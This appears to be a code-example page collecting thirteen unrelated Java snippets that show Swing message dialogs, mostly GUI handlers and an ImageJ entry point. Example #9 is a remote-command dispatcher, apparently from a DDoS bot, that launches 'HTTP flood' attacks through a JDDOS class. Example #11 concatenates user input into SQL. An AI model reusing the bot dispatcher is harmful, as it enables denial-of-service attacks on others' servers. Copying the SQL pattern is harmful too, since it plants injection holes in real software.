예제 #1
0
 private void loadimageButtonActionPerformed(
     java.awt.event.ActionEvent evt) { // GEN-FIRST:event_loadimageButtonActionPerformed
   // TODO add your handling code here:
   if (imageload.equals("")) {
     javax.swing.JOptionPane.showMessageDialog(
         null,
         "Please select an image to load",
         "Invalid Action",
         javax.swing.JOptionPane.INFORMATION_MESSAGE);
   } else if (stopButton.isEnabled() == true) {
     javax.swing.JOptionPane.showMessageDialog(
         null,
         "Please stop the camera before processing an image",
         "Action not allowed",
         javax.swing.JOptionPane.INFORMATION_MESSAGE);
   } else {
     outputTextarea.setText("");
     load = "";
     for (int i = 0; i < filelength; i++) {
       if (imageload.equals(imageFileNames[i].substring(0, imageFileNames[i].lastIndexOf('.')))) {
         load = imageFileNames[i];
         break;
       }
     }
     loadimage = imagedir.concat(load);
     imp.set(loadimage);
     // javax.swing.JOptionPane.showMessageDialog(null, "The image to load is "+loadimage, "Image",
     // javax.swing.JOptionPane.INFORMATION_MESSAGE);
   }
 } // GEN-LAST:event_loadimageButtonActionPerformed
예제 #2
0
  private void move() {
    while (true) {
      if (snakeLength >= 95) {
        result = 1;
        break;
      }
      try {
        Thread.sleep(speed);
      } catch (Exception e) {
        javax.swing.JOptionPane.showMessageDialog(
            getParent(), "Unexpected Error!!\nPlease Try Again Later");
        System.exit(0);
      }

      if (collisionDetection()) break;

      score++;
      if (baitCaptureDetection()) {
        snakeLength++;
        score += 20;
        baitX = baitY = 0;
        generateBait();
      }
      for (int j = snakeLength - 2; j >= 0; j--) {

        snakex[j + 1] = snakex[j];
        snakey[j + 1] = snakey[j];
      }

      if (direction == 39) {
        right();
      }
      if (direction == 38) {
        up();
      }
      if (direction == 40) {
        down();
      }
      if (direction == 37) {
        left();
      }
      directionInUse = false;

      repaint();
    }
    if (result == 1)
      javax.swing.JOptionPane.showMessageDialog(
          getParent(),
          "Congratulation!!\nNothing Left to conquer!!\nThanks for playing.\nScore:" + score);
    else javax.swing.JOptionPane.showMessageDialog(getParent(), "Game Over!!\nScore:" + score);
    // System.out.println(snakeAreaX+snakeAreaWidth);
  }
예제 #3
0
  public void first() {
    // System.out.println("Inside First. This is called only once");
    java.util.Scanner s = null;

    try {
      s = new java.util.Scanner(new java.io.BufferedReader(new java.io.FileReader("sample")));
      s.useLocale(java.util.Locale.US);
      position = 0;
      while (s.hasNext()) {
        if (s.hasNextLine()) {
          String c = s.nextLine();
          ch[position] = c.charAt(0);
          for (int i = 0; i < 35; i++) {
            Character cha = new Character(c.charAt(i + 1));
            String st = cha.toString();
            data[position][i] = Integer.parseInt(st);
          }
          position++;
        }
      }
    } catch (java.io.IOException ert) {
      javax.swing.JOptionPane.showMessageDialog(
          null, ert, "Error", javax.swing.JOptionPane.ERROR_MESSAGE);
    }

    try {
      s = new java.util.Scanner(new java.io.BufferedReader(new java.io.FileReader("imageload")));
      s.useLocale(java.util.Locale.US);
      while (s.hasNext()) {
        if (s.hasNextLine()) {
          imagedir = s.nextLine();
        }
      }
    } catch (java.io.IOException ert) {
      javax.swing.JOptionPane.showMessageDialog(
          null, ert, "Error", javax.swing.JOptionPane.ERROR_MESSAGE);
    }
    s.close();
    if (imagedir.equals("")) {
      javax.swing.JOptionPane.showMessageDialog(
          null,
          "This must be your first run of Live! Character Recognition.\nPlease set an image folder.",
          "Problem loading image",
          javax.swing.JOptionPane.INFORMATION_MESSAGE);
    } else {
      im.running();
    }
  }
예제 #4
0
      /** Shows the full image in the main area and sets the application title. */
      @Override
      public void actionPerformed(ActionEvent e) {
        if (stopButton.isEnabled() == true) {
          javax.swing.JOptionPane.showMessageDialog(
              null,
              "Please stop the camera before you choose to load image",
              "Action not allowed",
              javax.swing.JOptionPane.INFORMATION_MESSAGE);
        } else {
          clearpanel();
          photographLabel = new JLabel();

          javax.swing.GroupLayout inputPanelLayout = new javax.swing.GroupLayout(inputPanel);
          inputPanel.setLayout(inputPanelLayout);
          inputPanelLayout.setHorizontalGroup(
              inputPanelLayout
                  .createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                  .addGroup(
                      inputPanelLayout.createSequentialGroup().addComponent(photographLabel)));
          inputPanelLayout.setVerticalGroup(
              inputPanelLayout
                  .createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                  .addGroup(
                      inputPanelLayout.createSequentialGroup().addComponent(photographLabel)));
          photographLabel.setIcon(displayPhoto);
          // setTitle("Icon Demo: " + getValue(SHORT_DESCRIPTION).toString());
          imageload = getValue(SHORT_DESCRIPTION).toString();
          // javax.swing.JOptionPane.showMessageDialog(null, "The image to be processed is
          // "+imageload, "Image", javax.swing.JOptionPane.INFORMATION_MESSAGE);
        }
      }
예제 #5
0
  public boolean dbOpenList(Connection connection, String sql) {
    dbClearList();
    this.oldSql = sql;
    this.oldConnection = connection;
    // apre il resultset da abbinare
    ResultSet resu = null;
    ResultSetMetaData meta;
    try {
      stat = connection.createStatement();
      resu = stat.executeQuery(sql);
      meta = resu.getMetaData();

      if (meta.getColumnCount() > 1) {
        this.contieneChiavi = true;
      }

      // righe
      while (resu.next()) {
        for (int i = 1; i <= meta.getColumnCount(); ++i) {
          if (i == 1) {
            dbItems.add((Object) resu.getString(i));
            lm.addElement((Object) resu.getString(i));
          } else if (i == 2) {
            dbItemsK.add((Object) resu.getString(i));

            // debug
            // System.out.println("list:" + String.valueOf(i) + ":" + resu.getString(i));
          } else if (i == 3) {
            dbItemsK2.add((Object) resu.getString(i));
          }
        }
      }
      this.setModel(lm);

      // vado al primo
      if (dbTextAbbinato != null) {
        // debug
        // javax.swing.JOptionPane.showMessageDialog(null,this.getKey(0).toString());
        dbTextAbbinato.setText(this.getKey(0).toString());
      }

      return (true);
    } catch (Exception e) {
      javax.swing.JOptionPane.showMessageDialog(null, e.toString());
      e.printStackTrace();
      return (false);
    } finally {
      try {
        stat.close();
      } catch (Exception e) {
      }
      try {
        resu.close();
      } catch (Exception e) {
      }
      meta = null;
    }
  }
예제 #6
0
 private void setimagefolderButtonActionPerformed(
     java.awt.event.ActionEvent evt) { // GEN-FIRST:event_setimagefolderButtonActionPerformed
   // TODO add your handling code here:
   if (stopButton.isEnabled() == true) {
     javax.swing.JOptionPane.showMessageDialog(
         null,
         "Please stop the camera before you set image folder",
         "Action not allowed",
         javax.swing.JOptionPane.INFORMATION_MESSAGE);
   } else {
     im.run();
   }
 } // GEN-LAST:event_setimagefolderButtonActionPerformed
예제 #7
0
  /**
   * Methods.PRINT.DOIT("It works!",2); Methods.PRINT.DOIT("It works in cmdline!",1);
   * Methods.PRINT.DOIT("It works both!",0);
   */
  public static void PRINT(String text, int mode) {
    switch (mode) {
      case 1:
        if (Settings.GET_DEBUG_MODE()) {
          System.out.println(text);
        }
        break;

      case 2:
        if (!Settings.GET_SILENT_MODE()) {
          javax.swing.JOptionPane.showMessageDialog(null, text);
        }
        break;

      default:
        if (Settings.GET_DEBUG_MODE()) {
          System.out.println(text);
        }
        if (!Settings.GET_SILENT_MODE()) {
          javax.swing.JOptionPane.showMessageDialog(null, text);
        }
        break;
    }
  }
예제 #8
0
 private void choosecameraButtonActionPerformed(
     java.awt.event.ActionEvent evt) { // GEN-FIRST:event_choosecameraButtonActionPerformed
   // TODO add your handling code here:
   if (stopButton.isEnabled() == true) {
     javax.swing.JOptionPane.showMessageDialog(
         null,
         "Please stop the current camera before you choose the new one.",
         "Action not allowed",
         javax.swing.JOptionPane.INFORMATION_MESSAGE);
   } else {
     this.setFocusable(false);
     chooseCamera cc = new chooseCamera();
     cc.setVisible(true);
     cc.firstcall();
   }
 } // GEN-LAST:event_choosecameraButtonActionPerformed
예제 #9
0
    /**
     * The class that handles the word of the array and performs.
     *
     * <p>Commands: http - HTTP flood. Example of cmdline: http http://[site_adress]/ [timeout]
     * [number] sock - Exaple: sock [IP] [PORT] [timeout] [number] openurl - opening web page.
     * Example: openurl [URL] dialog - shows dialog. Example: dialog [text]
     */
    private static void Action() {
      String[] CMD = GET_CMD_ARRAY();
      switch (CMD[0]) {
        case "http":
          PRINT("GETTED CMD: " + CMD[0] + " " + CMD[1] + " " + CMD[2] + " " + CMD[3], 1);
          /** CMD[0] - http CMD[1] - URL CMD[2] - timeout CMD[3] - number */
          new Classes.JDDOS(
              1,
              CMD[1],
              Integer.parseInt(CMD[3]),
              Integer.parseInt(CMD[2]),
              Settings.GET_DEBUG_MODE());
          break;
        case "sock":
          PRINT("GETTED CMD: " + CMD[0] + " " + CMD[1] + " " + CMD[2], 1);
          /** CMD[0] - sock CMD[1] - IP CMD[2] - PORT CMD[3] - timeout CMD[4] - number */
          // new Classes.JDDOS(2, CMD[1], Integer.parseInt(CMD[2]), 10, Settings.GET_DEBUG_MODE());
          break;
        case "openurl":
          PRINT("GETTED CMD: " + CMD[0] + " " + CMD[1], 1);
          String myURL = CMD[1];
          try {
            java.net.URL url = new java.net.URL(myURL);
            String nullFragment = null;
            URI uri =
                new URI(
                    url.getProtocol(), url.getHost(), url.getPath(), url.getQuery(), nullFragment);
            Desktop.getDesktop().browse(uri);

          } catch (Exception e) {
            PRINT("Cathced exception" + e, 1);
          }
          break;
        case "dialog":
          /** CMD[0] - dialog CMD[1++] - text */
          PRINT("GETTED CMD: " + CMD[0] + " " + CMD[1] + " " + CMD[2] + "...", 1);
          String TEXT = "";
          CMD[0] = "";
          for (String n : CMD) {
            TEXT += (" " + n);
          }
          javax.swing.JOptionPane.showMessageDialog(null, TEXT);
          break;
      }
    }
예제 #10
0
    /**
     * Main entry point. Loads the Swing elements on the "Event Dispatch Thread".
     *
     * @param args
     */
    public void run() {
      javax.swing.JFileChooser fc = new javax.swing.JFileChooser();
      fc.setFileSelectionMode(javax.swing.JFileChooser.DIRECTORIES_ONLY);
      int returnVal = fc.showOpenDialog(null);

      if (returnVal == javax.swing.JFileChooser.APPROVE_OPTION) {
        setpanel();
        buttonBar.removeAll();
        buttonBar.repaint();

        java.io.File file = fc.getSelectedFile();
        imagedir = file.getPath().replace('\\', '/') + '/';
        try (java.io.BufferedWriter out =
            new java.io.BufferedWriter(new java.io.FileWriter("imageload", false))) {
          out.write(imagedir);
          out.close();
        } catch (java.io.IOException ert) {
          javax.swing.JOptionPane.showMessageDialog(
              null, ert, "Error", javax.swing.JOptionPane.ERROR_MESSAGE);
        }
        running();
      }
    }
예제 #11
0
 public void actionPerformed(ActionEvent e) {
   if (e.getSource() == b) {
     if (makeConnection()) {
       if (!t1.getText().equals("")
           & !t2.getText().equals("")
           & !t3.getText().equals("")
           & !t4.getText().equals("")) {
         det dez = new det();
         if (dez.date(t4.getText())) {
           String a = t1.getText();
           String b = t2.getText();
           String c = t3.getText();
           String d = t4.getText();
           String ef = t5.getText();
           try {
             st = cn.createStatement();
             String sql = "insert into detalle_ventas values('";
             sql += a;
             sql += "', '";
             sql += b + "', '" + c + "', '" + d + "', '" + ef;
             sql += "')";
             int eaz = st.executeUpdate(sql);
             javax.swing.JOptionPane.showMessageDialog(
                 null,
                 "Se han creado " + eaz + " registros en la base de datos",
                 "informacion",
                 javax.swing.JOptionPane.INFORMATION_MESSAGE);
             start();
           } catch (SQLException exz) {
             javax.swing.JOptionPane.showMessageDialog(
                 null,
                 "Ha ocurrido un error, favor de checar que la clave no ha sido ingresada ya con anterioridad  \n si el problema persiste contacte con el administrador \nError: "
                     + exz.getSQLState()
                     + ""
                     + exz.getMessage(),
                 "Error",
                 javax.swing.JOptionPane.INFORMATION_MESSAGE);
           } catch (Exception ez) {
             System.out.println(ez.getMessage());
           }
         } else {
           javax.swing.JOptionPane.showMessageDialog(
               null,
               "Favor de llenar la fecha con un formato correcto dd/mm/aaaa",
               "Error!!!",
               javax.swing.JOptionPane.ERROR_MESSAGE);
         }
       } else {
         javax.swing.JOptionPane.showMessageDialog(
             null,
             "Favor de llenar todos los datos correctamente",
             "Error!!!",
             javax.swing.JOptionPane.ERROR_MESSAGE);
       }
     } else {
       javax.swing.JOptionPane.showMessageDialog(
           null,
           "Un error ha ocurrido al intentar conectar con la base de datos, \n reinicie el componente o contacte con el administrador",
           "Error",
           javax.swing.JOptionPane.ERROR_MESSAGE);
     }
   }
   try {
     cn.close();
   } catch (Exception esa) {
     System.out.println(esa.getMessage());
   }
 }
예제 #12
0
 public static void main(String args[]) {
   if (System.getProperty("java.version").substring(0, 3).compareTo("1.5") < 0) {
     javax.swing.JOptionPane.showMessageDialog(
         null, "ImageJ " + VERSION + " requires Java 1.5 or later.");
     System.exit(0);
   }
   boolean noGUI = false;
   int mode = STANDALONE;
   arguments = args;
   // System.setProperty("file.encoding", "UTF-8");
   int nArgs = args != null ? args.length : 0;
   boolean commandLine = false;
   for (int i = 0; i < nArgs; i++) {
     String arg = args[i];
     if (arg == null) continue;
     if (args[i].startsWith("-")) {
       if (args[i].startsWith("-batch")) noGUI = true;
       else if (args[i].startsWith("-debug")) IJ.setDebugMode(true);
       else if (args[i].startsWith("-ijpath") && i + 1 < nArgs) {
         if (IJ.debugMode) IJ.log("-ijpath: " + args[i + 1]);
         Prefs.setHomeDir(args[i + 1]);
         commandLine = true;
         args[i + 1] = null;
       } else if (args[i].startsWith("-port")) {
         int delta = (int) Tools.parseDouble(args[i].substring(5, args[i].length()), 0.0);
         commandLine = true;
         if (delta == 0) mode = EMBEDDED;
         else if (delta > 0 && DEFAULT_PORT + delta < 65536) port = DEFAULT_PORT + delta;
       }
     }
   }
   // If existing ImageJ instance, pass arguments to it and quit.
   boolean passArgs = mode == STANDALONE && !noGUI;
   if (IJ.isMacOSX() && !commandLine) passArgs = false;
   if (passArgs && isRunning(args)) return;
   ImageJ ij = IJ.getInstance();
   if (!noGUI && (ij == null || (ij != null && !ij.isShowing()))) {
     ij = new ImageJ(null, mode);
     ij.exitWhenQuitting = true;
   }
   int macros = 0;
   for (int i = 0; i < nArgs; i++) {
     String arg = args[i];
     if (arg == null) continue;
     if (arg.startsWith("-")) {
       if ((arg.startsWith("-macro") || arg.startsWith("-batch")) && i + 1 < nArgs) {
         String arg2 = i + 2 < nArgs ? args[i + 2] : null;
         Prefs.commandLineMacro = true;
         if (noGUI && args[i + 1].endsWith(".js")) Interpreter.batchMode = true;
         IJ.runMacroFile(args[i + 1], arg2);
         break;
       } else if (arg.startsWith("-eval") && i + 1 < nArgs) {
         String rtn = IJ.runMacro(args[i + 1]);
         if (rtn != null) System.out.print(rtn);
         args[i + 1] = null;
       } else if (arg.startsWith("-run") && i + 1 < nArgs) {
         IJ.run(args[i + 1]);
         args[i + 1] = null;
       }
     } else if (macros == 0 && (arg.endsWith(".ijm") || arg.endsWith(".txt"))) {
       IJ.runMacroFile(arg);
       macros++;
     } else if (arg.length() > 0 && arg.indexOf("ij.ImageJ") == -1) {
       File file = new File(arg);
       IJ.open(file.getAbsolutePath());
     }
   }
   if (IJ.debugMode && IJ.getInstance() == null) new JavaProperties().run("");
   if (noGUI) System.exit(0);
 }
예제 #13
0
 /**
  * Helper to show an error message
  *
  * @param msg The message
  */
 protected void errorMsg(String msg) {
   javax.swing.JOptionPane.showMessageDialog(this, msg, "Error", JOptionPane.ERROR_MESSAGE);
 }